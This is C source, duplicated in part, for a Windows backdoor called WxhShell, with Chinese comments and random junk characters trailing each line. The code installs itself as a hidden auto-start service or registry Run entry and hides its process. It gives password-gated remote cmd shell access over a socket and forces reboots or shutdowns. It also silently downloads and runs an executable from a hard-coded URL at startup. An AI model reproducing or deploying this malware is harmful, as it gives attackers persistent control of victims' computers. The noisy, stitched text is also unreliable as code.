    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k \t6b1.M  
    else { M~sP|Ha"+  
    closesocket(wsh); 6yaWxpW  
    ExitThread(0); F7p`zf@O]  
    } (ds*$]  
    break; jaTCRn3|<  
    } '?|.#D#-c  
  // 获取shell u<@ 55k  
  case 's': { 7 dG_E]&  
    CmdShell(wsh); ^w RD|  
    closesocket(wsh); R[lA@q:  
    ExitThread(0); BW)t2kR&  
    break; WtSlD9 h  
  } @0:mP  
  // 退出 &kOb#\11u  
  case 'x': { X<"#=u(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (7aE!r\Ab  
    CloseIt(wsh); 7`X9s~B  
    break; l5k]voG  
    } '$OLU[(Y  
  // 离开 dZbG#4oO  
  case 'q': { *Oe;JqQkK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j%&^qD,  
    closesocket(wsh); l\-(li H  
    WSACleanup(); pQxi0/dp  
    exit(1); }Sb&ux  
    break; u`X}AKC  
        } UUql"$q  
  } Neb%D8/Kn  
  } mCpoaGV_  
t #g6rh&  
  // 提示信息 65A>p:OO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;c>Rjg&[  
} 7~q'3 N  
  } `S7${0e  
hMs}r,*  
  return; hAZ"M:f  
} .!t' &eV  
SY2B\TV  
// shell模块句柄 g'b)]Q  
int CmdShell(SOCKET sock) =M9Od7\J  
{ : XZ  
STARTUPINFO si; )Nq$~aAm  
ZeroMemory(&si,sizeof(si)); f&>Q 6 {*]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M:(k7a+[^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P8s'e_t  
PROCESS_INFORMATION ProcessInfo; R=M${u<t  
char cmdline[]="cmd"; ]urcA,a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M+^+u 1QQ0  
  return 0; $NWI_F4  
} V9m1n=r  
jKu"Vi|j>  
// 自身启动模式 j:,*Liz  
int StartFromService(void) \9BIRY`  
{  Wcn^IQ  
typedef struct mv xg|<  
{ ZA ii"F  
  DWORD ExitStatus; 6i \b&  
  DWORD PebBaseAddress; @*l}2W  
  DWORD AffinityMask; M|`%4vk>  
  DWORD BasePriority; p<6pmW3  
  ULONG UniqueProcessId; rC<m6  
  ULONG InheritedFromUniqueProcessId; y#Ch /Jg?|  
}   PROCESS_BASIC_INFORMATION; I)O-i_}L&K  
(F7!&]8%  
PROCNTQSIP NtQueryInformationProcess; /^0Hi4+\  
7z6yn= B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e}}xZ%$4|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xf9VW}`*8  
z0Gh |N@)  
  HANDLE             hProcess; D x Vt  
  PROCESS_BASIC_INFORMATION pbi; W~Mj6c~S"  
8F4#E U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H, =??wN  
  if(NULL == hInst ) return 0; +2W#= G  
lTdYPqMi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E( *$wD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |g 4!Yd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #!y|cP~;I  
}kXF*cVg  
  if (!NtQueryInformationProcess) return 0; T0RgCU IV  
Q:kpaMA1P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c6dL S  
  if(!hProcess) return 0; .6OE8w 1  
;][1_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u8N+ht@  
h.~S^uKi*  
  CloseHandle(hProcess); qdj,Qz9ly  
'n.eCd j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <h7C_^L10\  
if(hProcess==NULL) return 0; ;Cyt2]F  
t_@%4Wn!1L  
HMODULE hMod; D@d/O  
char procName[255]; $o1G xz  
unsigned long cbNeeded; 6eK18*j%H  
D 7H$!(F>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ql\{^s+  
-@L*i|A  
  CloseHandle(hProcess); ,1F3";`n[  
M*+_E8Lh  
if(strstr(procName,"services")) return 1; // 以服务启动 ^i#q{@g  
't^OIil  
  return 0; // 注册表启动 MF]s(7U4 `  
} LfrS:g  
0$/wH#f  
// 主模块 v*l1"0$  
int StartWxhshell(LPSTR lpCmdLine) ]X4A)%i  
{ aLuxCobV  
  SOCKET wsl; ;9 XM s)  
BOOL val=TRUE; i+T$&$b  
  int port=0; g;eMsoJG  
  struct sockaddr_in door; +lU:I  
z+NXD4  
  if(wscfg.ws_autoins) Install(); -~v;'zOO  
2Wq)y1R<T  
port=atoi(lpCmdLine); Ry[VEn>C1  
.v0.wG  
if(port<=0) port=wscfg.ws_port; SAc}5.  
)5)S8~Oc  
  WSADATA data; K )1K ]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;&^S-+  
LYkW2h`JQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UFm E`|le  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^ ,U9N  
  door.sin_family = AF_INET; ?fc({zb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); avykg(  
  door.sin_port = htons(port); Zz,E4+'Rm  
RBJgQ<j8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hf8 =r5j=  
closesocket(wsl); :_i1)4[!  
return 1; G;qC& 7T  
} Mfuw y  
w,;CrW T2t  
  if(listen(wsl,2) == INVALID_SOCKET) { `8KWZi4 ]  
closesocket(wsl); ;:hyW,J  
return 1; O:q 0-  
} <IGnWAWn  
  Wxhshell(wsl); {Z3B#,V(g  
  WSACleanup(); j#9p 0[  
j$n[; \]n  
return 0; Pj8s;#~u  
k6QQoLb$V  
} a RC >pK.  
,/C<GFae  
// 以NT服务方式启动 Gnr]qxL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r,A750P^  
{ \@8$tQCZ  
DWORD   status = 0; 1K"``EvNB  
  DWORD   specificError = 0xfffffff; T""X~+{Z@  
N9r02c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kb Fr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]tanvJG}'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h$_Wh(  
  serviceStatus.dwWin32ExitCode     = 0; #^" \WG7{  
  serviceStatus.dwServiceSpecificExitCode = 0; dMp7 ,{FhF  
  serviceStatus.dwCheckPoint       = 0; (?72 vCc  
  serviceStatus.dwWaitHint       = 0; KCGs*kp>  
|g}! F-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P)XkqOGpT9  
  if (hServiceStatusHandle==0) return; MRZ Wfc  
jW}n6w5  
status = GetLastError(); @f{yx\u/  
  if (status!=NO_ERROR) ZsirX~W<  
{ [#fXmW>N/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n6ETWjP  
    serviceStatus.dwCheckPoint       = 0; Pwt4e-  
    serviceStatus.dwWaitHint       = 0; &kB[jz_[A  
    serviceStatus.dwWin32ExitCode     = status; wciYv,  
    serviceStatus.dwServiceSpecificExitCode = specificError; :+|b7fF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?>N82#9Q  
    return; ..X efNbl  
  } ;``*]tY$  
yb2*K+Kv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ka1 F7b  
  serviceStatus.dwCheckPoint       = 0; iNZ'qMH22  
  serviceStatus.dwWaitHint       = 0; i DO`N!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6]Q ~c"+5  
} "!i7U2M'  
z%Ywjfn'  
// 处理NT服务事件,比如:启动、停止 8c\mm 0n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :W<ag a;J  
{ yb1A(~  
switch(fdwControl) !T@>Ld:  
{ (pm]U7  
case SERVICE_CONTROL_STOP: DZ?>9W{  
  serviceStatus.dwWin32ExitCode = 0; Y.sf^}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *YZ' Uy?  
  serviceStatus.dwCheckPoint   = 0; j_-$xz5-  
  serviceStatus.dwWaitHint     = 0; udX4SBq-pC  
  { 7 a !b}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pMM-LY7%{  
  } :!;BOCTYI  
  return; ZalG/PFy  
case SERVICE_CONTROL_PAUSE: Z%\9y]zs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i >Hh_q;'  
  break; ~j" aJ /  
case SERVICE_CONTROL_CONTINUE: =L{lt9qQz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )fP ,F(  
  break; J\b,rOIf  
case SERVICE_CONTROL_INTERROGATE: yc8FEn!)&  
  break; #M&rmKv)g  
}; %gSqc }v*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ndT:,"s  
} Wxkk^J9F3  
$]:I1I  
// 标准应用程序主函数 S;M'qwN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  V7%G?  
{ 2/sD#vC  
cveTrY}g  
// 获取操作系统版本 }OJ*o  
OsIsNt=GetOsVer(); zLc.4k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @xH|(  
{J%Na&D  
  // 从命令行安装 -20o%t  
  if(strpbrk(lpCmdLine,"iI")) Install(); \ v44Vmfz  
kX zm  
  // 下载执行文件 " E72j.  
if(wscfg.ws_downexe) { H"WkZX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [@U8&W  
  WinExec(wscfg.ws_filenam,SW_HIDE); D{Y~ kV|  
} U2 <*BRJ  
91r9RG>  
if(!OsIsNt) { %/>\`d?  
// 如果时win9x,隐藏进程并且设置为注册表启动 SJoQaR,)>  
HideProc(); JiEcPii  
StartWxhshell(lpCmdLine); vP^]Y.6  
} %E?:9. :NJ  
else O*d&H;;  
  if(StartFromService()) Y;6<AIx>  
  // 以服务方式启动 3H%R`ha  
  StartServiceCtrlDispatcher(DispatchTable); 0){%4  
else /*`BGNkYY  
  // 普通方式启动 yT`[9u,  
  StartWxhshell(lpCmdLine); z{pNQ[t1Z  
D@uw[;Xb5  
return 0; `)\_  
} >hoIJZP,  
yY_G;Wk  
N#@xo)-H  
)&1yt4 x6%  
=========================================== aO.'(kk8  
m?'5*\(ST  
C,n]9  
x5v^@_: jr  
?=jmyDXH!  
E}lU?U5i  
" }r]WB)_w  
x,E#+ m  
#include <stdio.h> ->n<9  
#include <string.h> jec03wH_0  
#include <windows.h> )PL'^gR r  
#include <winsock2.h> :>nk63V (  
#include <winsvc.h> 8H./@~_ =  
#include <urlmon.h> |}^[f]  
8V_ ]}W  
#pragma comment (lib, "Ws2_32.lib") ?*u)T%S  
#pragma comment (lib, "urlmon.lib") vF;6Y(h>  
CEc& G  
#define MAX_USER   100 // 最大客户端连接数 #I%< 1c%XA  
#define BUF_SOCK   200 // sock buffer KD$P\(5#  
#define KEY_BUFF   255 // 输入 buffer vxUJ4|Qz  
(sS[F-2R7  
#define REBOOT     0   // 重启 Il2DZ5- )  
#define SHUTDOWN   1   // 关机 Y((z9-`  
B5#a 4G.  
#define DEF_PORT   5000 // 监听端口 *`ehI_v :  
cmt3ceCb  
#define REG_LEN     16   // 注册表键长度 I m_yY  
#define SVC_LEN     80   // NT服务名长度 ZgtW  
\4K8*`$  
// 从dll定义API wC!(STu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?8-e@/E#x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MgHyKn'rL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }n 6BI}n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o80pmy7@  
 1k2Ck  
// wxhshell配置信息 r NU,(htS  
struct WSCFG { A&$!s)8z  
  int ws_port;         // 监听端口 PHfGl  
  char ws_passstr[REG_LEN]; // 口令 $msT,$NJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no uP|AP  
  char ws_regname[REG_LEN]; // 注册表键名 oVoTnGNM6  
  char ws_svcname[REG_LEN]; // 服务名 j0 =`Jf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g.DgJX&i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n.$<D[@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :b=`sUn<X+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "uGJ\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %E1~I\n:F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5tP0dQYd  
K_]LK  
}; eX?o 4>  
v&H&+:<  
// default Wxhshell configuration '  AeU  
struct WSCFG wscfg={DEF_PORT, >P\T nb"Q\  
    "xuhuanlingzhe", Lrq+0dI 65  
    1, |+!Jr_ By  
    "Wxhshell", umrRlF4M;  
    "Wxhshell", =:~~RqHl  
            "WxhShell Service", rRT9)wDa  
    "Wrsky Windows CmdShell Service", zG [-n.  
    "Please Input Your Password: ", EoQ.d|:g  
  1, Bq R;d  
  "http://www.wrsky.com/wxhshell.exe", `E!t,*(*E  
  "Wxhshell.exe" w$Dp m.0(  
    }; q n=6>wP  
S_?}H  
// 消息定义模块 EHzU`('?[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g^B 6N F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; akd~Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T]CvfvO5  
char *msg_ws_ext="\n\rExit."; l*nS gUg  
char *msg_ws_end="\n\rQuit."; ,Oxdqxu7  
char *msg_ws_boot="\n\rReboot..."; Aba6/  
char *msg_ws_poff="\n\rShutdown..."; @q^WD_k  
char *msg_ws_down="\n\rSave to "; gkBat(Uc  
Lb2Bu>  
char *msg_ws_err="\n\rErr!"; qmxkmO+Qur  
char *msg_ws_ok="\n\rOK!"; 50_%Tl[  
2jx""{  
char ExeFile[MAX_PATH]; !vImmhI!I  
int nUser = 0; lV]l`$XI  
HANDLE handles[MAX_USER]; F>^k<E?,C  
int OsIsNt; 1ed#nB %  
rzqCQZHL5  
SERVICE_STATUS       serviceStatus; 3c9v~5og4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7F+f6(hB  
:M=!MgD3w  
// 函数声明 /eIwv 31  
int Install(void); )}paQmy#  
int Uninstall(void); bzUc;&WDz  
int DownloadFile(char *sURL, SOCKET wsh); i&_sbQ^  
int Boot(int flag); "}PmAr e  
void HideProc(void); c?IIaj !  
int GetOsVer(void); _ZR2?y-M  
int Wxhshell(SOCKET wsl); M.|hnGX N  
void TalkWithClient(void *cs); (%I`EAR  
int CmdShell(SOCKET sock); {`J7>K  
int StartFromService(void); ,{E'k+  
int StartWxhshell(LPSTR lpCmdLine); v[Ar{t&  
f3yZx!K_Br  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F'SOl*v(s5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jq}5(*k  
Q%t8cJ L  
// 数据结构和表定义 Q^mJ_~  
SERVICE_TABLE_ENTRY DispatchTable[] = m4 4aK qw)  
{ \UNw43EL  
{wscfg.ws_svcname, NTServiceMain}, 0 'L+9T5  
{NULL, NULL} A1YIPrav(  
}; [8)Zhw$  
D, 3x:nK  
// 自我安装 ^-=,q.[7  
int Install(void) lHP[WO  
{  Rl 6E  
  char svExeFile[MAX_PATH]; Gia_B6*Y[  
  HKEY key; Qz/=+A/4  
  strcpy(svExeFile,ExeFile); 1lMU('r%  
bLf }U9  
// 如果是win9x系统,修改注册表设为自启动 r--"JO%2  
if(!OsIsNt) { 1}V_:~7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sq :ff  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >nTGvLOq  
  RegCloseKey(key); iLS' 47  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :r#FI".qx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {)k}dr  
  RegCloseKey(key); %X#Wc:b  
  return 0; L4Kkbt<x  
    } 501|Y6ptl  
  } r[~K m5  
} fv`%w  
else { vH7"tz&RIp  
srC'!I=s>8  
// 如果是NT以上系统,安装为系统服务 hEEbH@b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v?Y9z!M  
if (schSCManager!=0) 'MsxZqW"~  
{ BBy/b c!  
  SC_HANDLE schService = CreateService lf Wxdi  
  ( nDaQ1  
  schSCManager, odj|" ZK  
  wscfg.ws_svcname, 4Jo:^JV  
  wscfg.ws_svcdisp, ^WM)UZEBC  
  SERVICE_ALL_ACCESS, [n66ZY#U]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]M= 3Sn8}  
  SERVICE_AUTO_START, Y+WOU._46I  
  SERVICE_ERROR_NORMAL, >F@7}Y(  
  svExeFile, 7?cZ9^z`w  
  NULL, f3*u_LO  
  NULL, w9z((\5  
  NULL, 6)DYQ^4y  
  NULL, g!aM-B^C  
  NULL CXJ0N   
  ); |4 wVWJ7   
  if (schService!=0) S{J$[!F  
  { %'EOFv]  
  CloseServiceHandle(schService); @KNp?2a  
  CloseServiceHandle(schSCManager); K3 "co1]u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3LX<&."z  
  strcat(svExeFile,wscfg.ws_svcname); '&s:,o-p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q{mls  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c+-L>dsss  
  RegCloseKey(key); 8[}MXMRdb  
  return 0; 1kTJMtZG~  
    } b6oPnP_3P  
  } l=bB,7gL  
  CloseServiceHandle(schSCManager); {P-KU RQ  
} IXX^C}\,  
} m.S@ e8kS  
;>|:I(l;  
return 1; J%D'Xlb  
} &~^"yo#b  
g8}/Ln*W'  
// 自我卸载 UHweV:(|T  
int Uninstall(void) I@ }:} 8t  
{ RR^I*kRH  
  HKEY key; RH>b,  
<@5#  
if(!OsIsNt) { s`GSc)AI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y&9v0&o  
  RegDeleteValue(key,wscfg.ws_regname); H6rWb6i  
  RegCloseKey(key); Qn<J@%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (a]'}c$X9`  
  RegDeleteValue(key,wscfg.ws_regname); <E6]8SQE  
  RegCloseKey(key); :]e:-JbT4z  
  return 0; xzIs,i}U  
  } A3yVT8  
} D OPOzh  
} XQ,I Ej|  
else { u|9^tHT>  
mMu3B2nke=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =@V4V} ?  
if (schSCManager!=0) kn`KU.J.  
{ )^g}'V=vIr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c3i|q@ k  
  if (schService!=0) z15(8Y@2]  
  { ~>xn9vb=  
  if(DeleteService(schService)!=0) { +z;xl-*[  
  CloseServiceHandle(schService); B,|M  
  CloseServiceHandle(schSCManager); u\&oiwSIP  
  return 0; !W]># Pm  
  } W[j =!o  
  CloseServiceHandle(schService); W&BwBp]K  
  } FhAuTZk  
  CloseServiceHandle(schSCManager); / D#vs9S  
} _(J- MCY\  
} t*e+[  
4 lJ@qhV  
return 1; !0*=z~  
} T?^AllUZQR  
0%`\ 8  
// 从指定url下载文件 f1hi\p0q  
int DownloadFile(char *sURL, SOCKET wsh) = J).(E89  
{ G\Toi98d*  
  HRESULT hr; 5|S|HZ8G  
char seps[]= "/"; BAdHGwomh  
char *token; ~ E>D0o  
char *file; r"Pj ,}$A  
char myURL[MAX_PATH]; o9q%=/@,  
char myFILE[MAX_PATH]; ch \*/  
4U C/pGZY  
strcpy(myURL,sURL); >:Xzv  
  token=strtok(myURL,seps); |@Q(~[It  
  while(token!=NULL) . I {X  
  { ' OdZ[AN  
    file=token; g%1!YvS3v  
  token=strtok(NULL,seps); ')Ozz<{  
  } `Ft`8=(  
m*CIbkDsZ  
GetCurrentDirectory(MAX_PATH,myFILE); Ml+.\'r  
strcat(myFILE, "\\"); S;i^ucAF  
strcat(myFILE, file); m\"M`o B  
  send(wsh,myFILE,strlen(myFILE),0); |>jlY|  
send(wsh,"...",3,0); }1z= C<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g^}X3NUn  
  if(hr==S_OK) "MM7qV  
return 0; dH#S69>  
else `: i|y  
return 1; X OJ/$y  
Qn[4&nUD  
} 2Z7smDJ  
7{v0K"E{  
// 系统电源模块 k[A=:H1"  
int Boot(int flag) %q2dpzNW  
{ FspI[g UN,  
  HANDLE hToken; E I)Pfx"0  
  TOKEN_PRIVILEGES tkp; <*2.B~  
gigDrf}  
  if(OsIsNt) { |cWW5\/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P,_GTs3/G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [-s0'z  
    tkp.PrivilegeCount = 1; @l$cZi e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,XI,B\eNk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :*1|ERGoay  
if(flag==REBOOT) { ,;GW n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q fadsVp  
  return 0; x>&1;g2r  
} IDdhBdQ  
else { }\*dD2qNL}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kS/Zb3  
  return 0; ib/&8)Y+J  
} PX\}lTJ  
  } &nZ=w#_  
  else { 75Jh(hd(  
if(flag==REBOOT) { `r+e! o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lv&<kYWY  
  return 0; +3]@0VM26;  
} S%mN6b~{  
else { QIBv}hgcy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k{y@&QNj  
  return 0;  W* `2lf  
} fVb&=%e  
} :g+R}TR[i  
 UZmz k  
return 1; vRRi"bo  
} afG b}8 Q9  
t#6gjfIi  
// win9x进程隐藏模块 mBQ6qmK   
void HideProc(void) e|"`W`"-  
{ E-.M+[   
j= ]WAjT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JS!rZi  
  if ( hKernel != NULL ) QmT]~4PqS  
  { j9x}D;? n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C Ij3D"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bYgrKz@uK  
    FreeLibrary(hKernel); @e$z Ej5  
  } > 9i@W@M  
=WFMqBh<`  
return; .QRQvtd.  
} H5^ 'J`0\  
]*ZL>fuD|  
// 获取操作系统版本 | 1T2<ZT  
int GetOsVer(void) z)]_(zZ^  
{ nd'zO#"m?  
  OSVERSIONINFO winfo; o-GlBXI;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x_2 [+Ol  
  GetVersionEx(&winfo); pWwaN4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \iSaxwU_  
  return 1; aoI{<,(  
  else z"=#<C  
  return 0; ,]y)Dy  
} 6b6}HO  
3oE *86  
// 客户端句柄模块 [0Z r z+q  
int Wxhshell(SOCKET wsl) z<sf}6q  
{ ^r}^-  
  SOCKET wsh; %RdCSQ9~  
  struct sockaddr_in client; J0C,K U(  
  DWORD myID; \&Mipf7a  
UfOF's_'<  
  while(nUser<MAX_USER) F?T3fINR  
{ K /g\x0  
  int nSize=sizeof(client); ;jo,&C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g5; W6QX  
  if(wsh==INVALID_SOCKET) return 1; vd9l1"S  
2|qE|3&{'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /V$ [M  
if(handles[nUser]==0) =S|SQz5%w  
  closesocket(wsh); ,l.O @  
else 9"I/jd0B  
  nUser++; CLdLO u"  
  } UqsVqi h(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r*p<7  
[NQ`S ~_:  
  return 0; : \:jIP  
} 5owUQg,W  
!FA^~  
// 关闭 socket A+iQH1C0h  
void CloseIt(SOCKET wsh) NMJ230?  
{ RI')iz?  
closesocket(wsh); BYqDC<Fq  
nUser--; q/6d^&  
ExitThread(0); o/CSIvz1  
} Y6?d y\  
J&@[=zBYw  
// 客户端请求句柄 7M<7^)9  
void TalkWithClient(void *cs) xD8x1-  
{ CD +,&id  
- 9UQs.Nv  
  SOCKET wsh=(SOCKET)cs; sc@v\J;k  
  char pwd[SVC_LEN]; :\4?{,@_h  
  char cmd[KEY_BUFF]; 5dXC  
char chr[1]; WW:@%cQ@  
int i,j; ']Nw{}eS`  
TlYeYN5V  
  while (nUser < MAX_USER) { S_y!4;]ox  
QNLkj`PL/  
if(wscfg.ws_passstr) { _W@q%L>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JrQd7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A%Pjg1(uX  
  //ZeroMemory(pwd,KEY_BUFF); }mxy6m ,  
      i=0; pa~.[cBI  
  while(i<SVC_LEN) { :K#'?tH  
P B.@G,)  
  // 设置超时 nBgksB*A  
  fd_set FdRead; xx)egy_  
  struct timeval TimeOut; aW$sd)  
  FD_ZERO(&FdRead); +Tf,2?O  
  FD_SET(wsh,&FdRead); l`:M/z6"  
  TimeOut.tv_sec=8; j,K]T J  
  TimeOut.tv_usec=0; 9*h?g+\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +?),BRCce  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C:"Al-  
c_s=>z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,P3nZ  
  pwd=chr[0]; GPy+\P`  
  if(chr[0]==0xd || chr[0]==0xa) { \S{ise/U  
  pwd=0; < S:SIaf0  
  break; G'^Qi}o  
  } L~%@pf>  
  i++; @MWrUx  
    } _Jn-#du  
ow,I|A  
  // 如果是非法用户,关闭 socket iq)4/3"6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /XEUJC4  
} f }PT3  
byR|L:L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c |  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Bg;}\8 X  
Q&}`( ]k  
while(1) { nsQx\Tnhx  
R#eY@N}\  
  ZeroMemory(cmd,KEY_BUFF); h[b;_>7  
:@a8>i1&  
      // 自动支持客户端 telnet标准   ~L)9XK^15  
  j=0; rH"&  
  while(j<KEY_BUFF) { W-ErzX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $-H#M] Gq  
  cmd[j]=chr[0]; 'te4mY}  
  if(chr[0]==0xa || chr[0]==0xd) { {s&6C-  
  cmd[j]=0; I&^ B?"Y  
  break;  3=@94i  
  } X-%XZD B6  
  j++; 4 8l!P(>?y  
    } A0Pg|M  
jHBzZ!<  
  // 下载文件 xs y5"  
  if(strstr(cmd,"http://")) { Hg(%g T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +L D\~dcV+  
  if(DownloadFile(cmd,wsh)) 't'~p#$,F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lArYlR }  
  else 4n_f7'GZg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qT7E"|.$  
  } w7aC=B/{?i  
  else { {,61V;Bpm  
;K]6/Wt  
    switch(cmd[0]) { w-9M{Es+j  
  jI:5[. Y  
  // 帮助 OIP JN8V  
  case '?': { _P9T h#UAg  
